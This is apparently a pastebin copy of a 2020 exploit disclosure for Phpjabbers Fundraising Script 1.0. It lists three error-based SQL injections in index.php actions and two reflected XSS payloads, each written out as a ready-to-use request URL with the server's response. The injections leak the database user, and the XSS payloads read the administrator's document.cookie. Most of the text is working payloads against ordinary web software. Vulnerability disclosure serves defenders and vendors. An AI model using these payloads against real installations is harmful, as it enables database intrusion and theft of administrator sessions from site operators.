Phpjabbers Fundraising Script 1.0

A GUEST   FEB 18TH, 2020   2,322   0   NEVER   ADD COMMENT (/LOGIN?RETURN_URL=%2FCZFWMB5F%23ADD_COMMENT)

SHARE

TWEET

text (/archive/text)   3.36 KB | None |

0 (/login?return_url=%2FcZFwMb5F)

0 (/login?return_url=%2FcZFwMb5F)

raw (/raw/cZFwMb5F)   download (/dl/cZFwMb5F)   clone (/clone/cZFwMb5F)

embed (/embed/cZFwMb5F)   print (/print/cZFwMb5F)   report (/report/cZFwMb5F)

```
1.  # Exploit Title:  Multiple Vulnerabilities in Phpjabbers Fundraising Script 1.0
2.  # Disclosure Date: 18/02/2020
3.  # Exploit Author: logosbox
4.  # Version:  1.0
5.  # Application website: https://www.phpjabbers.com/fundraising-script/
6.  # CVE : N/A
7.
8.  Vulnerability Details:
9.  =====================
10. Phpjabbers Fundraising Script 1.0 index.php script suffers from
11. multiple reflected Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF)
12. and SQL-injection vulnerabilities.
13. An attacker can conduct a reflected XSS attack to obtain the Administrator
14. cookies or conduct a CSRF-attack.
15. The SQL-injection leads to injection of SQL-operators via GET-requests,
16. granting access to the users table and possibility to compromise the
17. server by injecting malicious SQL payloads.
18.
19. 1) SQL-injection #1:
20.
21. REQUEST:
22. https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoad&cid=1'"
23.
24. RESPONSE:
25. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"
    AND TD.status='P') AS received
26. FROM fundrasing_campaigns AS t1 WHERE  t1.id =' at line 1
27.
28. PAYLOAD:
29. https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoad&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--
30.
31. RESPONSE:
32. XPATH syntax error: '\root@localhost'
33.
34. ------------------------------------------------------------------------------------------------------------------------------
    ---------
35.
36. 2) SQL-injection #2:
37.
38. REQUEST:
39. https://localhost/fundraising/index.php?controller=pjFront&action=pjActionSetAmount&cid=1'"
40.
41. RESPONSE:
42. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"
    AND TD.status='P') AS received FROM fundrasing_campaigns AS t1 WHERE t1.id =' at line 1
43.
44. PAYLOAD:
45. https://localhost/fundraising/index.php?controller=pjFront&action=pjActionSetAmount&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--
46.
47. RESPONSE:
48. XPATH syntax error: '\root@localhost'
49.
50. ------------------------------------------------------------------------------------------------------------------------------
    ---------
51.
52. 3) SQL-injection #3:
53.
54. REQUEST:
55. https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadForm&cid=1'"
56.
57. RESPONSE:
```

```
58.  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"
     AND t0.status='Pv') AS received FROM fundrasing_campaigns AS t1 WHERE t1.id =' at line 1
59.
60.  PAYLOAD:
61.  https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadForm&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--
62.
63.  RESPONSE:
64.  XPATH syntax error: '\root@localhost'
65.
66.  ----------------------------------------------------------------------------------------------------------------------------------------
     ---------
67.
68.  4) XSS/CSRF #1:
69.
70.  PAYLOAD:
71.  https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadCss'<img%20src=1%20onerror=alert(document.cookie)>
72.
73.  ----------------------------------------------------------------------------------------------------------------------------------------
     ---------
74.
75.  5) XSS/CSRF #2:
76.
77.  PAYLOAD:
78.  https://localhost/fundraising/index.php?controller=pjAdminOptions&action=pjActionPreview&cid=1"></script>
     <img%20src=1%20onerror=alert(document.cookie)>
```

Advertisement

Add Comment

Please, **Sign In** (/login?return_url=%2FcZFwMb5F%23add_comment) to add comment

Advertisement

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro)   (https://facebook.com/pastebin)(https://twitter.com/pastebin)

privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service)[updated] / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)